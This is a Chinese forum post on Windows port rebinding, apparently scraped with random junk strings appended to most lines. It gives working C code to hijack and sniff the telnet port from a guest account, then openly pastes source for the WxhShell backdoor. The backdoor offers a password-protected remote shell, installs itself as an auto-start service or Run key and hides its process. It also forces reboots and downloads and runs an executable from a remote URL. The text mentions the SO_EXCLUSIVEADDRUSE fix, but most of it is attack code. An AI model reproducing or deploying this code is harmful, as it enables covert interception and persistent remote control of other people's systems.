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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: C&Nga `J  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); W(^R-&av  
QU4/hS;Ux  
  saddr.sin_family = AF_INET; cg16|  
 T06BrX  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 3q{op9_T7  
[)K?e!c8  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); El3Y1g3+3  
\k?Fu=@  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 5F#Q1gP-  
BCH{0w^D  
  这意味着什么?意味着可以进行如下的攻击: #\15,!*a=  
6Fp}U  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 A~MAaw!YE  
|y,%dFNLf  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) >=G-^z:  
mB.ybrig  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 IM""s]  
P ?- #d\qi  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  xq#YBi,  
du,mbTQib  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 [sxJ<  
,,U8X [A  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 oD0WHp  
uc>u=kEue  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 in>Os@e#  
s L;  
  #include ]r]=Q"/5  
  #include 2vb{PQ  
  #include >_R,^iH"  
  #include    ^T(v4'7  
  DWORD WINAPI ClientThread(LPVOID lpParam);   t0^chlJP$  
  int main() HF(pC7/a:  
  { Fjq~^_8  
  WORD wVersionRequested; SSoD}N  
  DWORD ret; o75Hit  
  WSADATA wsaData; 0?x9.]  
  BOOL val; x~!gGfP  
  SOCKADDR_IN saddr; nT(Lh/  
  SOCKADDR_IN scaddr; `7.(dn>WL0  
  int err; eouxNw}F1  
  SOCKET s; WA~PE` U  
  SOCKET sc; PubO|Mf  
  int caddsize; lCyBdY9n  
  HANDLE mt; hUL5V1-j  
  DWORD tid;   ]3u$%v c  
  wVersionRequested = MAKEWORD( 2, 2 ); dA[MjOd3  
  err = WSAStartup( wVersionRequested, &wsaData ); <a=,{O  
  if ( err != 0 ) { S6Er# )k  
  printf("error!WSAStartup failed!\n"); tc.`P]R   
  return -1; W3AtO  
  } BWtGeaW/sr  
  saddr.sin_family = AF_INET; qFqK. u  
   A*&`cUoA  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 S,Y\ox-  
`5J`<BPs  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); <B+xE?v4  
  saddr.sin_port = htons(23); itH` s<E  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 17hFwo`  
  { ';HNQe?vT  
  printf("error!socket failed!\n"); k15fy"+Ut  
  return -1; <i<[TPv";  
  } #CRAQ#:45(  
  val = TRUE; V_1'` F  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 zO@7V>2  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) .ty^k@J|]  
  { U};~ff+  
  printf("error!setsockopt failed!\n"); "Uk "  
  return -1; )/32sz]~  
  } dfU z{  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Iu3*`H  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 F<W`zQ46  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 J83{&N2u  
L%h Vts'  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ~8rVf+bg3  
  { c8R#=^ DD  
  ret=GetLastError(); t<UtSkE1  
  printf("error!bind failed!\n"); fo$5WTY  
  return -1; 58vq5j<V  
  } >v r! 3  
  listen(s,2); S2^Ckg  
  while(1) {? a@UUvC  
  { @bkZ< Gq  
  caddsize = sizeof(scaddr); %.NOQ<@W  
  //接受连接请求 ">-mZ'$#L  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :J 7p=sX  
  if(sc!=INVALID_SOCKET) ?PpGBm2f*  
  { <Z0N)0|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); a>_Cxsb&`  
  if(mt==NULL) =|Q7k+b  
  { q?9x0L  
  printf("Thread Creat Failed!\n"); U]8 @  
  break; @c >a  
  } o?9k{  
  } lZ\Si  
  CloseHandle(mt); o%~PWA*Qp  
  } Nt>wzPd)  
  closesocket(s); sKIpL(_I$  
  WSACleanup(); 2r 0u[  
  return 0; KS9 e V  
  }   rM{3]v{~  
  DWORD WINAPI ClientThread(LPVOID lpParam) v/1&V+"^kd  
  { eD#R4  
  SOCKET ss = (SOCKET)lpParam; %-A#7\  
  SOCKET sc; W-72&\7  
  unsigned char buf[4096]; iC$mb~G  
  SOCKADDR_IN saddr; r+#!]wNPe  
  long num; Vm3e6Y,K  
  DWORD val; AV t(e6H  
  DWORD ret; WNE=|z#|  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Vk3xWD~  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   JQ[~N-  
  saddr.sin_family = AF_INET; mbZS J  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); f^EDiG>b`  
  saddr.sin_port = htons(23); .lcI"%>  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j/C.='?%  
  { ;Wo\MN  
  printf("error!socket failed!\n"); +!'rw D  
  return -1; + A=*C  
  } .b3c n  
  val = 100; 7GyJmzEE  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )|d]0/<  
  { _ +"V5z  
  ret = GetLastError(); qaj~q(j~ C  
  return -1;  Z>O2  
  } t 7(#Cuv-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) O<H5W|cM  
  { <<ze84 E  
  ret = GetLastError(); [|:kS  
  return -1; *j`{ K  
  } DbL=2  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 1=9M@r~ ^  
  { H*h7Y*([  
  printf("error!socket connect failed!\n"); +OM9v3qJ  
  closesocket(sc); DGQGV[9%4C  
  closesocket(ss); SF 7p/gG  
  return -1; @Yl&Jg2l'  
  } :X66[V&eH  
  while(1) R Cgn\  
  { u>YC4&  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  hxedQvW  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 l9zkx'xt.-  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 O6P{+xj$  
  num = recv(ss,buf,4096,0); oX;D|8 f  
  if(num>0) NI1jJfH|l  
  send(sc,buf,num,0); 9"jhS0M  
  else if(num==0) Kt 0 3F$  
  break; ipIexv1/S  
  num = recv(sc,buf,4096,0); BS6UXAf{|Z  
  if(num>0) I Ceb2R  
  send(ss,buf,num,0); R _c! ,y  
  else if(num==0) b/yXE)3 X  
  break; | M|5Nc>W  
  } AJ:(NV1=  
  closesocket(ss); $;1TP|  
  closesocket(sc); FA+'E  
  return 0 ; ^xpiNP!?a  
  }  _xyq25/  
C `>1x`n  
Q&X#( 3&'  
========================================================== ;(Xig$k  
Q;'{~!=  
下边附上一个代码,,WXhSHELL 0fpxr`  
}kCaTI?@#  
========================================================== :M |<c9I  
qZcRK9l]F1  
#include "stdafx.h" mfI>1W(  
p1O[QQ|  
#include <stdio.h> 7a<-}>sU  
#include <string.h> HqZ3]  
#include <windows.h> q#mw#Uw-  
#include <winsock2.h> ;:Yz7<>Y,  
#include <winsvc.h> t& *K  
#include <urlmon.h> Y[8GoqE|  
L PDx3MS  
#pragma comment (lib, "Ws2_32.lib") 'on8r*  
#pragma comment (lib, "urlmon.lib") ;:%*h2  
"E6*.EtTN#  
#define MAX_USER   100 // 最大客户端连接数 c^?+"7oO0  
#define BUF_SOCK   200 // sock buffer B9&$sTAB  
#define KEY_BUFF   255 // 输入 buffer q0>@!1Wb  
P>i!f!o*I  
#define REBOOT     0   // 重启 %#zqZ|q  
#define SHUTDOWN   1   // 关机 D=0^" 7K  
m"r=p  
#define DEF_PORT   5000 // 监听端口 ?_VoO  
4$wn8!x2|  
#define REG_LEN     16   // 注册表键长度 3O'6 Ae  
#define SVC_LEN     80   // NT服务名长度 f\{ynC2m  
3T|xUY)G4  
// 从dll定义API 5g$]ou  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k^Gf2%k  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); RTJ\|#w  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ):c)$$dn  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !=Hu?F p  
(sfy14>\  
// wxhshell配置信息 vpoYb  
struct WSCFG { WcG}9)9  
  int ws_port;         // 监听端口 }C<<l5/ z  
  char ws_passstr[REG_LEN]; // 口令 !I8m(axW  
  int ws_autoins;       // 安装标记, 1=yes 0=no v"LH^!/  
  char ws_regname[REG_LEN]; // 注册表键名 n;F/}:c_a  
  char ws_svcname[REG_LEN]; // 服务名 8(b C.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 KH~o0 W  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 'Y%@fZf x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4dgo*9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no aYBc)LCd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" w`Ss MI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9r efv  
k\NwH?ppu  
}; k-zkb2  
q9^6A90  
// default Wxhshell configuration JJ+A+sfdk  
struct WSCFG wscfg={DEF_PORT, $ncJc  
    "xuhuanlingzhe", ptlcG9d-  
    1, lQ]8PR t8  
    "Wxhshell", K!\$MBI  
    "Wxhshell", H E'1Wa0r  
            "WxhShell Service", ?uBZ"^'  
    "Wrsky Windows CmdShell Service", RM(MCle}  
    "Please Input Your Password: ", j mH=W)  
  1, gjGKdTr'  
  "http://www.wrsky.com/wxhshell.exe", I8s%wY9  
  "Wxhshell.exe" ^F e %1Lnt  
    }; v RR(b!Lq  
V(^aG=TaW:  
// 消息定义模块 )^)j=xs  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6 #vc"5@M  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !go$J]T  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; + bU*"5"  
char *msg_ws_ext="\n\rExit."; {+SshT>J  
char *msg_ws_end="\n\rQuit."; b;K]; o-/f  
char *msg_ws_boot="\n\rReboot..."; keMfK ]9  
char *msg_ws_poff="\n\rShutdown..."; yt@;yd:OEk  
char *msg_ws_down="\n\rSave to "; L#}HeOEi[  
\@K KX  
char *msg_ws_err="\n\rErr!";  el"XD"*  
char *msg_ws_ok="\n\rOK!"; Hx|<NS0}_  
yltzf #%  
char ExeFile[MAX_PATH]; F70_N($i  
int nUser = 0; l )m]<E X  
HANDLE handles[MAX_USER]; iem@ K  
int OsIsNt; 0]._|Ubn6)  
9eh9@~mU"l  
SERVICE_STATUS       serviceStatus; ?cH,!2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; t'.oty=  
z/Kjz$l!  
// 函数声明 L4x08 e  
int Install(void); nB+UxU@  
int Uninstall(void); p[&6hXTd  
int DownloadFile(char *sURL, SOCKET wsh); Ug1[pONk  
int Boot(int flag); \(.])I>)eh  
void HideProc(void); @8jc|X<A  
int GetOsVer(void); IcDAl~uG  
int Wxhshell(SOCKET wsl); ="<S1}.  
void TalkWithClient(void *cs); $X;wj5oj  
int CmdShell(SOCKET sock); &|% F=/VU  
int StartFromService(void); j0eGg::  
int StartWxhshell(LPSTR lpCmdLine); yE6EoC^  
v6$ }saTX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "4,Zox{^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); d ~`_;.z  
]JUb;B;Z  
// 数据结构和表定义 D |lm,  
SERVICE_TABLE_ENTRY DispatchTable[] = S7A[HG;  
{ )= :gO`"D  
{wscfg.ws_svcname, NTServiceMain}, 8!!iwmH{  
{NULL, NULL} ER)<Twj  
}; P_Bhec|#fT  
[&B}{6wry  
// 自我安装 Vjc*D]  
int Install(void) ^-|yF2>`  
{ 3!OO_  
  char svExeFile[MAX_PATH]; MUeS8:q-N  
  HKEY key; vvDaL$  
  strcpy(svExeFile,ExeFile); `H7V['  
i,h)  
// 如果是win9x系统,修改注册表设为自启动 eLd7|*|  
if(!OsIsNt) { ,O;+fhUJ(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^UJ#YRzi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `"#0\Wh  
  RegCloseKey(key); cfg_xrW0^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w{HDCPuS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NETji:d  
  RegCloseKey(key); !6 k{]v  
  return 0; uINm>$G,5  
    } NyTGvBf  
  } x|6# /m  
} MUs~ZF  
else { >d{O1by=d9  
}_A#O|dxO  
// 如果是NT以上系统,安装为系统服务 9W~3E^x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Kr*s]O  
if (schSCManager!=0) ?d? cD  
{ )iiwxpdw  
  SC_HANDLE schService = CreateService =)p/p6  
  ( _&~y{;)S  
  schSCManager, !FhiTh:GCh  
  wscfg.ws_svcname, x,3oa_'E  
  wscfg.ws_svcdisp, +"!=E erKi  
  SERVICE_ALL_ACCESS, oV 7A"8L^a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [)ybPIv]  
  SERVICE_AUTO_START, &7gE=E(M  
  SERVICE_ERROR_NORMAL, -A\J:2a|  
  svExeFile, u\]aUP e  
  NULL, ,XZ[L? >  
  NULL, N-+`[8@(P<  
  NULL, 6kc/  
  NULL, 5nhc|E)C  
  NULL k/|j e~$  
  ); 3cp"UU}.  
  if (schService!=0) j1LL[+G-"_  
  { " * Qwaq_  
  CloseServiceHandle(schService); v8< MAq  
  CloseServiceHandle(schSCManager); ZV=)`E`I|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); NyJ=^=F#  
  strcat(svExeFile,wscfg.ws_svcname); @$ea-fK??  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { d_5wMK6O6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6-'Y*  
  RegCloseKey(key); XP$1CWI  
  return 0; 'x-PQQ  
    } 1HBdIWhHv.  
  } vT7ei"~&u  
  CloseServiceHandle(schSCManager); I2b\[d  
} zg3q\ ~  
} KLc<c1BZ  
kp+\3z_  
return 1; D-zqu~f`  
} otsINAizgS  
rdL>yT/A  
// 自我卸载 `B^ HW8  
int Uninstall(void) Ux2p qPb  
{ gda3{g7<)  
  HKEY key; u/@dWeY[]  
~IB~>5U!  
if(!OsIsNt) { (aO+7ykRuJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xV h-Mx+M  
  RegDeleteValue(key,wscfg.ws_regname); [}/\W`C  
  RegCloseKey(key); 0CYm%p8!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E+65  
  RegDeleteValue(key,wscfg.ws_regname); JQ*CF(9  
  RegCloseKey(key); 6^L4wd7)  
  return 0; L;},1 \  
  } );$L#XpB  
} U[S#axak  
} uQ;b'6Jcp  
else { <3!jra,h  
)32BM+f"77  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); iG[an*#X  
if (schSCManager!=0) JvHGu&Nr!  
{ y`~[R7E  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @Y#{[@Hp%  
  if (schService!=0) ypuW}H%`  
  { $=j}JX}z  
  if(DeleteService(schService)!=0) { kCRP?sj  
  CloseServiceHandle(schService); | Wrf|%p  
  CloseServiceHandle(schSCManager); !J}Bv  
  return 0; Xeg g2.Kk  
  } [hf#$Dl |  
  CloseServiceHandle(schService); (i,TxjS'od  
  } FS%Xq-c  
  CloseServiceHandle(schSCManager); h5bQ  
} /^E2BRI  
} HDyus5g  
K4vl#*qn  
return 1; O;qerE?i`  
} X9f!F2x  
Q<y&*o3YF|  
// 从指定url下载文件 p5!=Ur&A c  
int DownloadFile(char *sURL, SOCKET wsh) pP&TFy#G+'  
{ A22h+8yG  
  HRESULT hr; s!q6OVJ-  
char seps[]= "/"; su}> >07  
char *token; #^- U|~,  
char *file; Ld[zOx  
char myURL[MAX_PATH]; zkdyfl5  
char myFILE[MAX_PATH]; iBy:HH  
]-$0?/`p8  
strcpy(myURL,sURL); mis cmD  
  token=strtok(myURL,seps); @l0#C5(:  
  while(token!=NULL) -Fodqq@,  
  { _u^ S[  
    file=token; )g9&fGYf  
  token=strtok(NULL,seps); R4<}kA,.  
  } F6gboo)SD  
\e5bxc  
GetCurrentDirectory(MAX_PATH,myFILE); Ly?gpOqu5  
strcat(myFILE, "\\"); i/nA(%_  
strcat(myFILE, file); AepAlnI@  
  send(wsh,myFILE,strlen(myFILE),0); 9S0I<<m  
send(wsh,"...",3,0); r*K[,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Qwn/ ,  
  if(hr==S_OK) 7_WD)Y2yS  
return 0; v1yNVs \}  
else IYq)p /  
return 1; 'IweN  
(u81p  
} Tp.0@aC  
r00 fvZyK  
// 系统电源模块 S x';Cj-  
int Boot(int flag) "-Lbz)k  
{ W9~vBU  
  HANDLE hToken; !3{> F"  
  TOKEN_PRIVILEGES tkp; C>q,c3s5  
V:rq}F}  
  if(OsIsNt) { **V^8'W<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ">}l8MA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y K~;LV  
    tkp.PrivilegeCount = 1; a%"My;8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; dnVl;L8L3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @, D 3$P8}  
if(flag==REBOOT) { )W!8,e+%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8[SiIuIV  
  return 0; [kx_Izi/T  
} 2T &<jt  
else { `}ak;^Me  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $srb!&~_>  
  return 0; LB_y lfg  
} k&4@$;Ap  
  } 'dYjbQ}~;  
  else { ,v$gWA!l  
if(flag==REBOOT) { i DV.L  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %D|27gh  
  return 0; \}Jy=[  
} TC1#2nE&T  
else { k:nR'TI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &Avd  
  return 0; W$7db%qFx  
} 2]n"7Z8(v8  
} xmxfXW  
. KJ EA #  
return 1; $d M: 5y  
} [vkz<sL"  
M7 &u_Cn?  
// win9x进程隐藏模块 ~d :Z |8  
void HideProc(void) s7 IaU|m  
{ !8^:19+  
je1f\N45  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <JE-#i  
  if ( hKernel != NULL ) TIbqUR  
  { jW5n^Y)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "$KU +?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8;YeEW 5  
    FreeLibrary(hKernel); )&}\2NK6L  
  } {yQeLION  
%"~\Pu*>  
return; /T`L;YE  
} "Zd4e2>{M\  
B#'TF?HUEn  
// 获取操作系统版本 TQDb\d8,f  
int GetOsVer(void) [H-,zY  
{ QLYb>8?"C  
  OSVERSIONINFO winfo; bE _=L=NG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); R9Wh/@J]  
  GetVersionEx(&winfo); e0%?;w-TL  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _Z'j%/-4@D  
  return 1; OI"vC1.5  
  else /gZrnd?  
  return 0; Qhb].V{utV  
} 0UeDM*  
$e#p -z  
// 客户端句柄模块 l\7NR  
int Wxhshell(SOCKET wsl) '+ 1<7jl&I  
{ s0"S;{_#  
  SOCKET wsh; r+fR^hv  
  struct sockaddr_in client; =D.M}x qo  
  DWORD myID; :nYl]Rm  
#W,BUN}  
  while(nUser<MAX_USER) _sIhQ8$:  
{ B`)o?GcVN  
  int nSize=sizeof(client); *[jG^w0z8~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]Ln2|$R  
  if(wsh==INVALID_SOCKET) return 1; z"8%W?o>  
WmTSxneo  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Szrr`.']  
if(handles[nUser]==0) 8MgoAX,p  
  closesocket(wsh); )tGeQXVhbJ  
else u"r~5  
  nUser++; !0:uM)_k  
  } tL(B gku9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,:UoE  
Z-;<R$  
  return 0; <@xp. Y  
} ;}{xpJ/  
Tct8NG  
// 关闭 socket k L2(M6m  
void CloseIt(SOCKET wsh) 7ET^,6  
{ p ASNiH698  
closesocket(wsh); VH7VJ [  
nUser--; #y13(u,dN  
ExitThread(0); #4"(M9kf  
}  $6w[h7  
!qPVC\l  
// 客户端请求句柄 YlD ui8.N  
void TalkWithClient(void *cs) P]:r'^Yn  
{ 44 ,:@  
mxsmW  
  SOCKET wsh=(SOCKET)cs; +c5z-X$^]  
  char pwd[SVC_LEN]; r=6-kC!T9  
  char cmd[KEY_BUFF]; 62K7afH  
char chr[1]; T{v(B["!$  
int i,j; cmF&1o3_  
o %sBU  
  while (nUser < MAX_USER) { q y73  
57IAH$n8o  
if(wscfg.ws_passstr) { ^l|{*oj2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WCT}OiLsL  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /n;-f%dL  
  //ZeroMemory(pwd,KEY_BUFF); Lbk?( TL  
      i=0; 3a #2 }  
  while(i<SVC_LEN) { Xwy0dXko  
=4cK9ac  
  // 设置超时 VAf"B5 R  
  fd_set FdRead; T!e ]=  
  struct timeval TimeOut; YL \d2  
  FD_ZERO(&FdRead); W]MKc&R  
  FD_SET(wsh,&FdRead); 8 hx4N  
  TimeOut.tv_sec=8; J'9hzag  
  TimeOut.tv_usec=0; g*69TqO^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (@*[^@ipV  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); tcyami6D4  
t%Hg8oya  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xayo{l=uGv  
  pwd=chr[0]; wJM})O%SQ  
  if(chr[0]==0xd || chr[0]==0xa) { TUoEk  
  pwd=0; 1o\P7P Le  
  break; asqbLtQ  
  } _4F(WCco  
  i++; wYy=Tl-N  
    } oLK-~[p  
 (`PgvBL:  
  // 如果是非法用户,关闭 socket D@ut -J(.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); eS(\E0%QI  
} h^R EBPe  
zu}oeAQc$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _<pSCR0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^6j: lL  
S0( ).2#  
while(1) { $qG;^1$  
cM%I5F+n  
  ZeroMemory(cmd,KEY_BUFF); _$%.F| :  
_7r<RZ  
      // 自动支持客户端 telnet标准   RGFanP  
  j=0; "L^]a$&  
  while(j<KEY_BUFF) { a^_\#,}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =.`(KXT  
  cmd[j]=chr[0]; .lnyn|MVb  
  if(chr[0]==0xa || chr[0]==0xd) { S]&f+g}&w  
  cmd[j]=0; sy`@q<h(  
  break; $sK8l=#  
  } 5v6 x  
  j++; HwTb753  
    } 5/Viz`hsz  
g bDre~|  
  // 下载文件 ~t7?5b?*\  
  if(strstr(cmd,"http://")) { `|?K4<5|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )90Q  
  if(DownloadFile(cmd,wsh)) 3)\jUVuj  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); U;QTA8|!&  
  else dbM~41C6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ssaEAm:  
  } Ji4xor  
  else { Cw7 07  
h[~JCYA  
    switch(cmd[0]) { -|;{/ s5  
  ?O3E.!Q|  
  // 帮助 q5C(/@)^  
  case '?': { 0Oy.&C T  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |Iei!jm  
    break; x=>B 6o-f  
  } qv\n]M_&  
  // 安装 Er/h:=  
  case 'i': { B].V|8h  
    if(Install()) nmI os]B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); buV {O[  
    else pQv`fr=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]DVZeI03@  
    break; Qj;wk lq  
    } iUDNm|e  
  // 卸载 ~D# -i >Z  
  case 'r': { -PXRd)~  
    if(Uninstall()) {*utke]}*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n N.6?a  
    else BUcPMF%\y:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .*\TG/x  
    break; .Z%y16)T  
    } y4sKe:@2  
  // 显示 wxhshell 所在路径 BG ,ln(Vz  
  case 'p': { UrtA]pc3L  
    char svExeFile[MAX_PATH]; \fC)]QZ  
    strcpy(svExeFile,"\n\r"); ptJ58U$Bb  
      strcat(svExeFile,ExeFile); sa8JN.B  
        send(wsh,svExeFile,strlen(svExeFile),0); +tOmKY  
    break; j9Qd 45  
    } `pr$l  
  // 重启 7#/->Y  
  case 'b': { a#3+PB #  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ws;S=|9,7~  
    if(Boot(REBOOT)) ='r86vq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ff6l"A5  
    else { +/xmxh$ $  
    closesocket(wsh); l~ 3H"  
    ExitThread(0); Zo$ ,{rl  
    } t Qo) *z  
    break; = iJfz  
    } +xoh=m  
  // 关机 yM* CA,(c  
  case 'd': { G<1)N T\u  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r~f*aD  
    if(Boot(SHUTDOWN)) /QuuBtp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &CP0T:h  
